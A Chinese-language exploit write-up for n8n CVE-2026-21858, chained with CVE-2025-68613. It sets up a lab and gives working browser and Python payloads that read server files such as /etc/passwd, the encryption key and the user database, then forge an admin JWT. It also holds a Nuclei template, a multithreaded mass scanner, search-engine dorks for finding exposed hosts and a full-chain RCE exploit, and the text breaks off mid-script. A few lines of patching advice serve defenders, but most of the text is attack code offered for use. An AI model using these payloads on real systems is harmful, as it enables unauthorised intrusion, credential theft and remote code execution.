CVE-2026-21858 因不当的 Webhook 请求处理而易受未认证文件访问

🔬 技术分析

漏洞原理

N8N 是一个开源的工作流程自动化平台。1.65.0 及以下版本允许攻击者通过执行某些基于表单的工作流程访问底层服务器上的文件。一个易受攻击的工作流程可能让==未认证==的远程攻击者获得访问权限，导致系统中存储的敏感信息暴露，并根据部署配置和工作流程使用情况，可能进一步被攻破。这个问题在 1.121.0 版本中修复了。

与[[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]] 联合使用就能直接日穿n8n系统。CVE-2025-68613 漏洞虽然可以RCE，但是前提条件是知道n8n系统的登录密码，而且这个账户还需要有节点编辑权限。也就是必须登录到下图这样节点编辑的界面才能成功执行，如果不知道账户密码，或者登录的账户没有节点编辑权限的话就没办法，只能干瞪眼。这时候CVE-2026-2185来了，这个漏洞可以在不登陆的情况下，获得系统一些敏感文件的读取权限，从而访问比如 /etc/passwd 这样的文件获得密码。从而实现完整的攻击链条。

💣 漏洞复现

环境搭建

docker-compose.yml文件如下

services:
  n8n:
    build: .
    container_name: n8n-vulnerable
    ports:
      - "5678:5678"
    environment:
      - N8N_SECURE_COOKIE=false
      - WEBHOOK_URL=http://localhost:5678/
    volumes:
      - ./init:/init:ro
    entrypoint: >
      bash -c "
        apt-get update && apt-get install -y curl > /dev/null 2>&1
        n8n start &
        sleep 15
        bash /init/setup.sh
        wait
      "

Dockerfile文件如下

FROM node:20-slim

RUN npm install -g n8n@1.65.0

EXPOSE 5678

CMD ["n8n", "start"]

搭建环境

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: admin@exploit.local / password

注意，真实渗透并不需要密码。

利用步骤

打开 http://IP:5678/form/vulnerable-form 看得到一个上传文件的窗口，并没有任何登录验证的过程，打开就看得到。

随便穿一个图片就看到显示如此

完整的纯手动利用步骤

第一步：触发任意文件读取

按F12打开控制台Console输入如下内容

fetch('http://target-ip:5678/form/vulnerable-form', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    data: {},
    files: {
      test: {
        filepath: '/etc/passwd',
        originalFilename: 'test.txt',
        mimetype: 'text/plain',
        size: 100
      }
    }
  })
})
.then(r => r.text())
.then(console.log)

确认任意文件读取漏洞存在，然后读取计算jwt所需的文件。

// 1. 读取环境变量获取HOME目录
fetch('http://target-ip:5678/form/vulnerable-form', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    data: {},
    files: {
      test: {
        filepath: '/proc/self/environ',
        originalFilename: 'environ.txt',
        mimetype: 'text/plain',
        size: 1000
      }
    }
  })
})
.then(r => r.text())
.then(data => {
  console.log('环境变量:', data);
  // 从输出中找到 HOME=/home/node 或 HOME=/root
});

// 可能的配置文件路径
const configPaths = [
  '/home/node/.n8n/config',
  '/root/.n8n/config',
  '/.n8n/config'
];

// 尝试读取配置
async function readConfig() {
  for (const path of configPaths) {
    try {
      const response = await fetch('http://target-ip:5678/form/vulnerable-form', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({
          data: {},
          files: {
            config: {
              filepath: path,
              originalFilename: 'config.json',
              mimetype: 'application/json',
              size: 10000
            }
          }
        })
      });
      
      const text = await response.text();
      if (!text.includes('error') && !text.includes('could not be started')) {
        console.log(`成功读取 ${path}:`, text);
        return text;
      }
    } catch (e) {
      console.log(`读取 ${path} 失败:`, e);
    }
  }
}

readConfig();

// 方法1: 尝试以文本形式读取（SQLite有些部分是可读文本）
fetch('http://target-ip:5678/form/vulnerable-form', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    data: {},
    files: {
      db: {
        filepath: '/root/.n8n/database.sqlite',
        originalFilename: 'database.txt',
        mimetype: 'text/plain',  // 改为text/plain
        size: 500000
      }
    }
  })
})
.then(r => r.text())
.then(data => {
  console.log('数据库内容（可能是二进制+文本混合）:', data);
  
  // 尝试提取邮箱地址（通常是可读文本）
  const emailMatches = data.match(/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g);
  console.log('找到的邮箱:', emailMatches);
  
  // 尝试提取bcrypt密码哈希
  const bcryptMatches = data.match(/\$2[aby]\$\d{2}\$[./A-Za-z0-9]{53}/g);
  console.log('找到的密码哈希:', bcryptMatches);
  
  // 尝试提取UUID（用户ID）
  const uuidMatches = data.match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi);
  console.log('找到的UUID:', uuidMatches);
});

得到

环境变量: HOSTNAME=0f0c3e315f95 YARN_VERSION=1.22.22 PWD=/ HOME=/root WEBHOOK_URL=http://localhost:5678/ SHLVL=0 N8N_SECURE_COOKIE=false PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NODE_VERSION=20.20.0 _=/usr/local/bin/n8n 

成功读取 /root/.n8n/config: {
	"encryptionKey": "HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G"
}

找到的邮箱: (3) ['admin@exploit.local', '%36aec5f0-fd9e-4638-a245-468225f23a17admin@exploit.localAdminExploit', 'admin@exploit.local']
VM41:27 找到的密码哈希: ['$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2']
VM41:31 找到的UUID: (7) ['0a8aee21-505e-4b4b-9277-957028c62991', '113cf64e-837c-44aa-83f3-5244ee446eac', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17']

第二步：手动伪造JWT令牌

提取到的关键信息

encryptionKey: HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G
userId: 36aec5f0-fd9e-4638-a245-468225f23a17 (出现5次，明显是管理员)
email: admin@exploit.local
passwordHash: $2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2

方法一：使用浏览器完成JWT伪造（纯手动）

在浏览器控制台运行以下代码：

// 第1步：加载crypto-js库
const script = document.createElement('script');
script.src = 'https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js';
document.head.appendChild(script);

// 第2步：等待3秒后运行JWT生成代码
setTimeout(() => {
  // 已知信息
  const encryptionKey = "HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G";
  const userId = "36aec5f0-fd9e-4638-a245-468225f23a17";
  const email = "admin@exploit.local";
  const passwordHash = "$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2";
  
  // 派生JWT secret（取偶数位字符）
  let extracted = '';
  for (let i = 0; i < encryptionKey.length; i += 2) {
    extracted += encryptionKey[i];
  }
  const jwtSecret = CryptoJS.SHA256(extracted).toString();
  console.log('🔑 JWT Secret:', jwtSecret);
  
  // 计算JWT hash
  const combined = email + ':' + passwordHash;
  const sha256Hash = CryptoJS.SHA256(combined);
  const base64Hash = sha256Hash.toString(CryptoJS.enc.Base64);
  const jwtHash = base64Hash.substring(0, 10);
  console.log('🔐 JWT Hash:', jwtHash);
  
  // 构造JWT Header和Payload
  const header = {alg: "HS256", typ: "JWT"};
  const payload = {id: userId, hash: jwtHash};
  
  // Base64URL编码
  const base64urlEncode = (obj) => {
    return btoa(JSON.stringify(obj))
      .replace(/\+/g, '-')
      .replace(/\//g, '_')
      .replace(/=/g, '');
  };
  
  const headerB64 = base64urlEncode(header);
  const payloadB64 = base64urlEncode(payload);
  
  // 计算签名
  const message = headerB64 + '.' + payloadB64;
  const signature = CryptoJS.HmacSHA256(message, jwtSecret)
    .toString(CryptoJS.enc.Base64)
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=/g, '');
  
  // 完整JWT
  const token = message + '.' + signature;
  console.log('✅ JWT Token:', token);
  
  // 设置Cookie，IP改成靶机的IP
  document.cookie = `n8n-auth=${token}; path=/; domain=target-ip`; 
  console.log('🍪 Cookie已设置！');
  console.log('📍 现在访问: http://target-ip:5678/');
  
  // 自动跳转
  setTimeout(() => {
    window.location.href = 'http://target-ip:5678/';
  }, 1000);
  
}, 3000);

直接就进来了，都不用输入密码登录。

方法二：使用在线Python工具

如果浏览器方法有问题，访问 https://www.online-python.com/ 并运行：

import hashlib
import base64
import hmac
import json

# 已知信息
encryption_key = "HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G"
user_id = "36aec5f0-fd9e-4638-a245-468225f23a17"
email = "admin@exploit.local"
password_hash = "$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2"

# 步骤1: 派生JWT secret（取偶数位字符）
extracted = encryption_key[::2]
jwt_secret = hashlib.sha256(extracted.encode()).hexdigest()
print(f"JWT Secret: {jwt_secret}")

# 步骤2: 计算JWT hash
combined = f"{email}:{password_hash}"
jwt_hash_full = base64.b64encode(hashlib.sha256(combined.encode()).digest()).decode()
jwt_hash = jwt_hash_full[:10]
print(f"JWT Hash: {jwt_hash}")

# 步骤3: 构造JWT
def base64url_encode(data):
    return base64.urlsafe_b64encode(data).decode().rstrip('=')

# Header
header = {"alg": "HS256", "typ": "JWT"}
header_b64 = base64url_encode(json.dumps(header, separators=(',', ':')).encode())

# Payload
payload = {"id": user_id, "hash": jwt_hash}
payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':')).encode())

# Signature
message = f"{header_b64}.{payload_b64}"
signature_bytes = hmac.new(jwt_secret.encode(), message.encode(), hashlib.sha256).digest()
signature = base64.urlsafe_b64encode(signature_bytes).decode().rstrip('=')

# 完整JWT
jwt_token = f"{header_b64}.{payload_b64}.{signature}"

print(f"\n=== 复制下面的JWT Token ===")
print(jwt_token)
print(f"\n=== 设置Cookie命令 ===")
print(f"document.cookie = \"n8n-auth={jwt_token}; path=/\";")

运行结果

JWT Secret: 16d04397ec90148196f72aa9cd5e6c84bf04f693a9244a148384043fc98f4b9d                                                                                           
JWT Hash: ncMgzO+zwP

=== 复制下面的JWT Token ===
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2YWVjNWYwLWZkOWUtNDYzOC1hMjQ1LTQ2ODIyNWYyM2ExNyIsImhhc2giOiJuY01nek8rendQIn0.N0P9jTH-n1qFtZcgA9THAivy-ISh6uQ22nH2qHToqnQ

=== 设置Cookie命令 ===
document.cookie = "n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2YWVjNWYwLWZkOWUtNDYzOC1hMjQ1LTQ2ODIyNWYyM2ExNyIsImhhc2giOiJuY01nek8rendQIn0.N0P9jTH-n1qFtZcgA9THAivy-ISh6uQ22nH2qHToqnQ; path=/";

浏览器控制台输入命令即可登录到工作流界面。

方法三：手动在浏览器设置Cookie

如果上面的自动跳转不work，手动设置：

打开浏览器控制台
运行上面的代码获取JWT token
手动设置cookie：

// 将这里的TOKEN替换为生成的JWT
document.cookie = "n8n-auth=TOKEN_HERE; path=/; domain=target-ip";

// 然后访问
window.location.href = 'http://target-ip:5678/';

第三步：通过Web界面手动创建RCE工作流

到这一步就可以用[[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]] 的方法了，就和老洞结合起来了。

手动利用总结

完全手动可行的部分：

✅ 文件读取（浏览器控制台 + fetch）
✅ 数据库分析（在线SQLite工具）
⚠️ JWT伪造（需要Python或在线工具辅助）
✅ 工作流创建（Web界面点击操作）
✅ RCE触发（浏览器控制台 + fetch）

关键点：JWT伪造是唯一需要编程辅助的步骤，但可以用在线Python解释器（如 https://replit.com/ 或 https://www.online-python.com/）完成，不需要本地安装任何工具。

全自动自动脚本

# 拉取poc
git clone https://github.com/Chocapikk/CVE-2026-21858.git

# 读取文件
python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# 双CVE的RCE利用
python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# 交互式shell
python exploit.py http://localhost:5678 /form/vulnerable-form

📋 CVE-2026-21858 漏洞利用的必要条件

⚠️ 重要声明

这不是一个”万能”的 n8n 漏洞！ 它需要目标系统满足特定的配置条件才能成功利用。

✅ 必须满足的 5 个条件

#	条件	说明	检查方法
1️⃣	表单工作流存在	目标必须配置了带有文件上传字段的 Form Trigger 工作流	访问 n8n UI 或通过 API 查询工作流
2️⃣	有响应节点	工作流必须包含 “Respond to Webhook” 节点来返回文件内容	查看工作流配置中的节点连接
3️⃣	工作流已激活	工作流必须处于激活状态（而不是草稿/停用）	工作流右上角开关为开启状态
4️⃣	无需认证	表单必须允许公开访问，不需要登录	直接访问表单 URL 如 http://IP:5678/form/vulnerable-form 不会重定向到登录页
5️⃣	返回二进制数据	Respond 节点配置为返回 binary 类型数据	`respondWith: "binary"`

🎯 易受攻击的工作流示例

典型的漏洞配置

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",  // ← 关键：使用响应节点模式
        "formFields": {
          "values": [
            {
              "fieldLabel": "document",
              "fieldType": "file"  // ← 关键：文件类型字段
            }
          ]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",  // ← 关键：返回二进制数据
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": {
      "main": [[{"node": "Respond"}]]  // ← 关键：两个节点必须连接
    }
  }
}

下载靶机的工作流程配置确实如此。

{
  "name": "Vulnerable Form",
  "nodes": [
    {
      "parameters": {
        "formTitle": "Upload",
        "formFields": {
          "values": [
            {
              "fieldLabel": "document",
              "fieldType": "file"
            }
          ]
        },
        "responseMode": "responseNode",
        "options": {}
      },
      "id": "trigger",
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "typeVersion": 2.2,
      "position": [
        0,
        0
      ],
      "webhookId": "vulnerable-form"
    },
    {
      "parameters": {
        "respondWith": "binary",
        "options": {}
      },
      "id": "respond",
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "typeVersion": 1.1,
      "position": [
        300,
        0
      ]
    }
  ],
  "pinData": {},
  "connections": {
    "Form Trigger": {
      "main": [
        [
          {
            "node": "Respond",
            "type": "main",
            "index": 0
          }
        ]
      ]
    }
  },
  "active": true,
  "settings": {
    "executionOrder": "v1"
  },
  "versionId": "113cf64e-837c-44aa-83f3-5244ee446eac",
  "meta": {
    "templateCredsSetupCompleted": true,
    "instanceId": "3f11b0ad0c3ab511dade954f94dc424506d153073749fdfee9eaf02b3c813448"
  },
  "id": "Tjg3GOuwAWx89qE2",
  "tags": []
}

🔑 漏洞触发的关键要素

fieldType: "file" - 允许文件上传
respondWith: "binary" - 以二进制形式返回文件内容
节点连接 - Form Trigger → Respond to Webhook
responseMode: "responseNode" - 使用响应节点而不是自动响应

✅ 适用场景（可以利用）

1. 文件处理工作流

✅ PDF 转换器
✅ 图片压缩/调整大小
✅ 文档格式转换器
✅ 文件预览服务

特点: 用户上传文件 → 处理 → 返回处理后的文件

2. 默认 n8n 安装

✅ 表达式注入（CVE-2025-68613）未被禁用
✅ 本地部署或 Docker 部署
✅ 配置和数据库存储在本地磁盘

3. 公开访问的表单

✅ 无需登录即可访问
✅ 无需 API 密钥或 Token
✅ 直接通过 URL 可访问

❌ 不适用场景（无法利用）

1. 没有响应节点的表单

Form Trigger → [其他处理节点] → 保存到数据库/发送邮件
                              ↑
                        没有 Respond 节点

结果: 文件被读取但内容无法通过 HTTP 响应获取

2. 需要认证的表单

访问表单 → 要求登录 → 无法提交恶意 payload

结果: 无法触发漏洞

3. n8n Cloud（云端托管）

❌ 不同的架构设计
❌ 无法直接访问本地文件系统
❌ 数据库不在可读取的路径

4. 已修复版本

❌ n8n >= 1.121.0（任意文件读取已修复）
❌ n8n >= 1.120.4（表达式注入已修复）

🔍 漏洞原理深度解析

漏洞触发流程

1. 攻击者发送恶意 JSON payload:
   {
     "files": {
       "test": {
         "filepath": "/etc/passwd",  // ← 控制文件路径
         "originalFilename": "test.txt",
         "mimetype": "text/plain"
       }
     }
   }

2. n8n 错误处理:
   - 接受 Content-Type: application/json（应该只接受 multipart/form-data）
   - 直接使用用户提供的 filepath
   - 没有路径验证或沙箱限制

3. 文件读取:
   - n8n 读取攻击者指定的任意文件
   - 将内容传递给 Respond 节点

4. 数据泄露:
   - Respond 节点配置为 respondWith: "binary"
   - 文件内容直接在 HTTP 响应中返回给攻击者

🎭 替代利用方式

即使没有 “Respond to Webhook” 节点，漏洞仍然存在，但需要不同的数据外泄方法：

方法 1: 带外（OOB）数据外泄

Form Trigger → HTTP Request 节点
               ↓
               将文件内容发送到攻击者的服务器

读取文件 → 根据文件大小/内容延迟响应
         ↓
         攻击者通过响应时间推断文件内容

方法 3: 其他输出节点

Form Trigger → Email/Slack/Discord 节点
               ↓
               将文件内容发送到攻击者控制的账户

📊 现实世界中的应用场景

容易受攻击的真实用例

应用场景	配置特点	风险等级
在线文档转换器	文件上传 + 返回转换结果	🔴 高危
图片处理服务	图片上传 + 返回处理后图片	🔴 高危
文件预览工具	文件上传 + 返回预览	🔴 高危
数据分析表单	CSV 上传 + 返回分析结果	🟡 中危
内部工具（需认证）	文件上传但需要登录	🟢 低危

不易受攻击的配置

应用场景	安全原因
纯数据收集表单	只保存数据，不返回文件内容
需要 SSO 的企业表单	认证保护
n8n Cloud 用户	云架构限制
已升级到新版本	补丁修复

搜索语法

n8n 平台远程代码执行漏洞（CVE-2025-68613）ZoomEye搜索app=“n8n” https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i hunter搜索语法

web.icon=="8ad475e8b10ff8bcff648ae6d49c88ae"
web.icon="8ad475e8b10ff8bcff648ae6d49c88ae"&&icp.number!==""&&icp.name!="公司"&&icp.name!="工作室"&&icp.type!="个人"

Nuclei模板

id: CVE-2026-21858-lfi-fixed

info:
  name: n8n Arbitrary File Read (CVE-2026-21858) - Active Check
  author: customized
  severity: critical
  description: |
    Proves CVE-2026-21858 by reading /etc/passwd via n8n vulnerable form trigger.
  tags: cve,cve2026,n8n,lfi

requests:
  - method: POST
    path:
      - "{{BaseURL}}/form/vulnerable-form"
      - "{{BaseURL}}/webhook/vulnerable-form"
      - "{{BaseURL}}/form/upload"
      - "{{BaseURL}}/webhook/upload"
      # 如果你知道其他特定路径，可以在这里添加

    headers:
      Content-Type: "application/json"

    # 这里的 JSON 必须是压缩的一行，严格模仿 Python 脚本的 Payload
    body: '{"data":{},"files":{"check_vuln":{"filepath":"/etc/passwd","originalFilename":"check.bin","mimetype":"application/octet-stream","size":1024}}}'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

把上面的代码保存为CVE-2026-21858-lfi.yaml文件，然后执行如下命令。

nuclei -u http://8vccf5j.haobachang.loveli.com.cn:8888/ -t CVE-2026-21858-lfi.yaml

批量测试脚本

scan_n8n.py内容如下

#!/usr/bin/env python3
import requests
import argparse
import urllib3
import concurrent.futures
from urllib.parse import urljoin
import sys

# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 颜色代码
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
RESET = "\033[0m"

def get_lfi_payload(filepath="/etc/passwd"):
    """构造恶意 JSON Payload"""
    return {
        "data": {},
        "files": {
            "check_vuln": {
                "filepath": filepath,
                "originalFilename": "test.bin",
                "mimetype": "application/octet-stream",
                "size": 1024
            }
        }
    }

def check_vulnerability(target_url, form_path):
    """检测单个目标"""
    # 确保 URL 格式正确
    if not target_url.startswith("http"):
        target_url = f"http://{target_url}"
    
    full_url = urljoin(target_url, form_path)
    
    try:
        # 发送 LFI 请求
        response = requests.post(
            full_url,
            json=get_lfi_payload(),
            headers={"Content-Type": "application/json"},
            timeout=10,
            verify=False
        )
        
        # 检查 /etc/passwd 的特征字符
        if response.status_code == 200 and "root:x:0:0" in response.text:
            print(f"[{GREEN}VULN{RESET}] {full_url} - Successfully read /etc/passwd")
            return full_url
        elif response.status_code == 404:
            # 这里的 404 可能意味着 Form ID 不对，而不是 n8n 不存在
            print(f"[{YELLOW}WARN{RESET}] {full_url} - Form endpoint not found (404)")
        else:
            print(f"[{RED}FAIL{RESET}] {full_url} - Not vulnerable or unknown response (Code: {response.status_code})")
            
    except requests.exceptions.RequestException as e:
        print(f"[{RED}ERR {RESET}] {target_url} - Connection failed: {str(e)[:50]}")
    
    return None

def main():
    parser = argparse.ArgumentParser(description="Batch Scanner for CVE-2026-21858 (n8n LFI)")
    parser.add_argument("-f", "--file", help="File containing list of target URLs", required=True)
    parser.add_argument("-p", "--path", help="Form path to test (default: /form/vulnerable-form)", default="/form/vulnerable-form")
    parser.add_argument("-t", "--threads", help="Number of threads", type=int, default=10)
    parser.add_argument("-o", "--output", help="File to save vulnerable URLs", default="vuln_hosts.txt")
    
    args = parser.parse_args()
    
    targets = []
    try:
        with open(args.file, "r") as f:
            targets = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"Error: File {args.file} not found.")
        sys.exit(1)

    print(f"[*] Loaded {len(targets)} targets.")
    print(f"[*] Testing Form Path: {args.path}")
    print("[*] Starting scan...\n")

    vulnerable_hosts = []

    # 多线程扫描
    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = {executor.submit(check_vulnerability, url, args.path): url for url in targets}
        
        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                vulnerable_hosts.append(result)

    # 保存结果
    if vulnerable_hosts:
        with open(args.output, "w") as f:
            for url in vulnerable_hosts:
                f.write(url + "\n")
        print(f"\n[{GREEN}SUCCESS{RESET}] Found {len(vulnerable_hosts)} vulnerable hosts. Saved to {args.output}")
    else:
        print(f"\n[{RED}FINISHED{RESET}] No vulnerable hosts found.")

if __name__ == "__main__":
    main()

准备一个 target.txt，每行一个 http://ip:port。

python .\scan_n8n.py -f .\target.txt -t 20

🛡️ 防御建议

对于 n8n 用户

立即升级: 升级到 n8n >= 1.121.0
审查工作流: 检查所有公开表单是否有文件上传功能
添加认证: 为所有表单添加身份验证
限制访问: 使用 IP 白名单或 VPN

对于开发者

输入验证: 验证 Content-Type 必须是 multipart/form-data
路径沙箱: 限制文件访问在安全目录内
安全审计: 定期审查文件处理相关代码

💡 总结

CVE-2026-21858 不是通用漏洞，它需要：

✅ 特定的工作流配置（文件上传 + 响应节点）
✅ 工作流处于激活状态
✅ 无认证保护
✅ 易受攻击的 n8n 版本

但是，满足这些条件的系统非常容易被完全攻陷：

任意文件读取 → 窃取数据库和密钥
Token 伪造 → 获取管理员权限
表达式注入 → 远程代码执行

CVSS 评分 10.0 是合理的，因为一旦条件满足，攻击链是完全可靠且易于执行的。

🔗 参考资源

官方公告

https://www.cve.org/CVERecord?id=CVE-2026-21858

技术分析

Cyera Research - Ni8mare Full Write-up - Original research by Dor Attias
GHSA-v4pr-fm98-w9pg - CVE-2026-21858
GHSA-v98v-ff95-f3cp - CVE-2025-68613
Nuclei Template CVE-2025-68613
LeakIX Search Results - Exposed vulnerable instances
Formidable - “The library, not the song” (thanks Cyera for the laugh)

PoC/Exploit

#!/usr/bin/env python3
"""
CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Exploit
Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE

Author: Chocapikk
GitHub: https://github.com/Chocapikk/CVE-2026-21858
"""

import argparse
import hashlib
import json
import secrets
import sqlite3
import string
import tempfile
from base64 import b64encode

import jwt
import requests
from pwn import log

BANNER = """
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
║                                                               ║
║     by Chocapikk                                              ║
╚═══════════════════════════════════════════════════════════════╝
"""

RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'


def randstr(n: int = 12) -> str:
    return "".join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n))


def randpos() -> list[int]:
    return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100]


class Ni8mare:
    def __init__(self, base_url: str, form_path: str):
        self.base_url = base_url.rstrip("/")
        self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
        self.session = requests.Session()
        self.admin_token = None

    def _api(self, method: str, path: str, **kwargs) -> requests.Response | None:
        kwargs.setdefault("timeout", 30)
        kwargs.setdefault("cookies", {"n8n-auth": self.admin_token} if self.admin_token else {})
        resp = self.session.request(method, f"{self.base_url}{path}", **kwargs)
        return resp if resp.ok else None

    def _lfi_payload(self, filepath: str) -> dict:
        return {
            "data": {},
            "files": {
                f"f-{randstr(6)}": {
                    "filepath": filepath,
                    "originalFilename": f"{randstr(8)}.bin",
                    "mimetype": "application/octet-stream",
                    "size": secrets.randbelow(90000) + 10000
                }
            }
        }

    def _build_nodes(self, command: str) -> tuple[list, dict, str, str]:
        trigger_name, rce_name = f"T-{randstr(8)}", f"R-{randstr(8)}"
        result_var = f"v{randstr(6)}"
        payload_value = RCE_PAYLOAD.replace("CMD", command.replace('"', '\\"'))
        nodes = [
            {"parameters": {}, "name": trigger_name, "type": "n8n-nodes-base.manualTrigger",
             "typeVersion": 1, "position": randpos(), "id": f"t-{randstr(12)}"},
            {"parameters": {"values": {"string": [{"name": result_var, "value": payload_value}]}},
             "name": rce_name, "type": "n8n-nodes-base.set", "typeVersion": 2,
             "position": randpos(), "id": f"r-{randstr(12)}"}
        ]
        connections = {trigger_name: {"main": [[{"node": rce_name, "type": "main", "index": 0}]]}}
        return nodes, connections, trigger_name, rce_name

    # ========== Arbitrary File Read (CVE-2026-21858) ==========

    def read_file(self, filepath: str, timeout: int = 30) -> bytes | None:
        resp = self.session.post(
            self.form_url, json=self._lfi_payload(filepath),
            headers={"Content-Type": "application/json"}, timeout=timeout
        )
        return resp.content if resp.ok and resp.content else None

    def get_version(self) -> tuple[str, bool]:
        resp = self._api("GET", "/rest/settings", timeout=10)
        version = resp.json().get("data", {}).get("versionCli", "0.0.0") if resp else "0.0.0"
        major, minor = map(int, version.split(".")[:2])
        return version, major < 1 or (major == 1 and minor < 121)

    def get_home(self) -> str | None:
        data = self.read_file("/proc/self/environ")
        if not data:
            return None
        for var in data.split(b"\x00"):
            if var.startswith(b"HOME="):
                return var.decode().split("=", 1)[1]
        return None

    def get_key(self, home: str) -> str | None:
        data = self.read_file(f"{home}/.n8n/config")
        return json.loads(data).get("encryptionKey") if data else None

    def get_db(self, home: str) -> bytes | None:
        return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120)

    def extract_admin(self, db: bytes) -> tuple[str, str, str] | None:
        with tempfile.NamedTemporaryFile(suffix=".db") as f:
            f.write(db)
            f.flush()
            conn = sqlite3.connect(f.name)
            row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone()
            conn.close()
        return (row[0], row[1], row[2]) if row else None

    def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -> str:
        secret = hashlib.sha256(key[::2].encode()).hexdigest()
        h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
        self.admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
        return self.admin_token

    def verify_token(self) -> bool:
        return self._api("GET", "/rest/users", timeout=10) is not None

    # ========== RCE (CVE-2025-68613) ==========

    def rce(self, command: str) -> str | None:
        nodes, connections, _, _ = self._build_nodes(command)
        wf_name = f"wf-{randstr(16)}"
        workflow = {"name": wf_name, "active": False, "nodes": nodes,
                    "connections": connections, "settings": {}}

        resp = self._api("POST", "/rest/workflows", json=workflow, timeout=10)
        if not resp:
            return None
        wf_id = resp.json().get("data", {}).get("id")
        if not wf_id:
            return None

        run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active": False,
                                      "nodes": nodes, "connections": connections, "settings": {}}}
        resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
        if not resp:
            self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
            return None

        exec_id = resp.json().get("data", {}).get("executionId")
        result = self._get_result(exec_id) if exec_id else None
        self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
        return result

    def _get_result(self, exec_id: str) -> str | None:
        resp = self._api("GET", f"/rest/executions/{exec_id}", timeout=10)
        if not resp:
            return None
        data = resp.json().get("data", {}).get("data")
        if not data:
            return None
        parsed = json.loads(data)
        # Result is usually the last non-empty string
        for item in reversed(parsed):
            if isinstance(item, str) and len(item) > 3 and item not in ("success", "error"):
                return item.strip()
        return None

    # ========== Full Chain ==========

    def pwn(self) -> bool:
        p = log.progress("HOME directory")
        home = self.get_home()
        if not home:
            return p.failure("Not found") or False
        p.success(home)

        p = log.progress("Encryption key")
        key = self.get_key(home)
        if not key:
            return p.failure("Failed") or False
        p.success(f"{key[:8]}...")

        p = log.progress("Database")
        db = self.get_db(home)
        if not db:
            return p.failure("Failed") or False
        p.success(f"{len(db)} bytes")

        p = log.progress("Admin user")
        admin = self.extract_admin(db)
        if not admin:
            return p.failure("Not found") or False
        uid, email, pw = admin
        p.success(email)

        p = log.progress("Token forge")
        self.forge_token(key, uid, email, pw)
        p.success("OK")

        p = log.progress("Admin access")
        if not self.verify_token():
            return p.failure("Rejected") or False
        p.success("GRANTED!")

        log.success(f"Cookie: n8n-auth={self.admin_token}")
        return True


def parse_args():
    p = argparse.ArgumentParser(description="n8n Ni8mare - Full Chain Exploit")
